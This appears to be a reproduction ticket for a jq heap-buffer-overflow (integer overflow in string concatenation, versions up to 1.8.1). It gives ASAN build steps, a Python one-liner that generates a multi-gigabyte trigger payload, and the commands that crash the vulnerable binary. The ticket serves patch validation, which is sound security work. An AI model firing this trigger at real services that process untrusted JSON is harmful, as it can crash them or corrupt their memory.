## Ticket: CVE-2026-32316 — jq integer overflow → heap-buffer-overflow in string concatenation

**CVE**: CVE-2026-32316 | **GHSA**: GHSA-q3h9-m34w-h76f | **CWE-190 → CWE-122** | **CVSS 3.1**: 7.5 (High)
**Vendor / Product**: jq (command-line JSON processor)
**Repository**: https://github.com/jqlang/jq
**Affected**: `<= 1.8.1` | **Fixed**: `1.8.2` (master commit `e47e56d226519635768e6aab2f38f0ab037c09e5`)
**Advisory**: https://github.com/jqlang/jq/security/advisories/GHSA-q3h9-m34w-h76f
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-32316
**Cited on**: https://red.anthropic.com/2026/cvd/

### Impact

jq's `jv_string_concat` (called by the `+` operator on strings and by `add` over an array of strings) computes the size of the destination buffer using a 32-bit `int`/`uint32_t` arithmetic. When the sum of the two input string lengths exceeds `2^31` bytes, the size computation wraps around, allocating a heap buffer much smaller than what's about to be written. The subsequent `memcpy` writes past the buffer, corrupting adjacent heap data — a classic CWE-190 → CWE-122 chain.

Any service that runs jq filters on attacker-controlled input (the common pattern in CI pipelines, log shippers, observability stacks, k8s admission webhooks, etc.) is exposed. The attacker only needs the ability to deliver ~2 GB of JSON string content to a jq invocation that concatenates it; on systems with sufficient memory the overflow is reachable and reproducible.

### Affected / Fixed

| | Version |
|--|--|
| **Vulnerable** | `<= 1.8.1` (latest tagged release before the patch) |
| **Fixed** | `1.8.2` — fix on master is commit `e47e56d226519635768e6aab2f38f0ab037c09e5` |

### Where the patch lives

```
git clone https://github.com/jqlang/jq external/jq
cd external/jq
git show e47e56d226519635768e6aab2f38f0ab037c09e5 -- src/jv.c
```

The fix promotes the length calculation to a 64-bit type (or rejects strings whose combined length would overflow `int`) and returns a jq-level error instead of allocating an undersized buffer.

### Reproduction plan

1. Build vulnerable jq at tag `jq-1.8.1`:
   ```
   git clone https://github.com/jqlang/jq external/jq && cd external/jq
   git checkout jq-1.8.1
   autoreconf -i
   CC=clang CFLAGS='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
   LDFLAGS='-fsanitize=address' \
       ./configure --with-oniguruma=builtin --disable-shared --disable-docs
   make -j
   cp jq /tmp/jq-vuln
   ```

2. Build fixed jq at commit `e47e56d226519635768e6aab2f38f0ab037c09e5` (or the `master` tip past that commit) with the same ASAN flags. Save as `/tmp/jq-fixed`.

3. Generate a JSON payload that forces a >2^31-byte concatenation. Example: a 4-element array of ~600 MB strings (total ~2.4 GB). The `add` filter concatenates them.
   ```
   python3 -c "import sys, json; s='A'*(600*1024*1024); sys.stdout.write(json.dumps([s,s,s,s]))" > /tmp/big.json
   ```

4. Trigger on both binaries:
   ```
   /tmp/jq-vuln  -c 'add | length' /tmp/big.json
   /tmp/jq-fixed -c 'add | length' /tmp/big.json
   ```
   - Vulnerable: AddressSanitizer reports `heap-buffer-overflow WRITE` inside `jvp_string_new`/`jv_string_concat`, OR the process aborts with SIGSEGV / heap corruption diagnostic.
   - Fixed: jq exits non-zero with a graceful error (string-too-long / out-of-memory) and no ASAN report.

5. The reproduction host needs ≥4 GB free RAM. If the runner has less, the trigger size can be tuned down to the minimum that still wraps a 32-bit length on the specific build (jq's signed `int` length means the boundary is `INT_MAX = 2^31-1`).

### Expected reproduction artifacts

- `repro/reproduction_steps.sh` — clones jq, builds vulnerable + fixed with ASAN, generates the payload, runs both binaries, saves the ASAN report from the vulnerable run.
- `repro/validation_verdict.json` — `confirmed` only if (a) the vulnerable build produces an ASAN heap-buffer-overflow (or process-crash) on the trigger, AND (b) the fixed build does not.
- `logs/vulnerable_asan.txt` — ASAN report from the vulnerable run (truncated to a few KB).
- `logs/fixed_run.txt` — clean error/output from the fixed run.
- `repro/rca_report.md` — RCA explaining the 32-bit length wrap in `jv_string_concat`, the bytes corrupted, and the upstream fix.
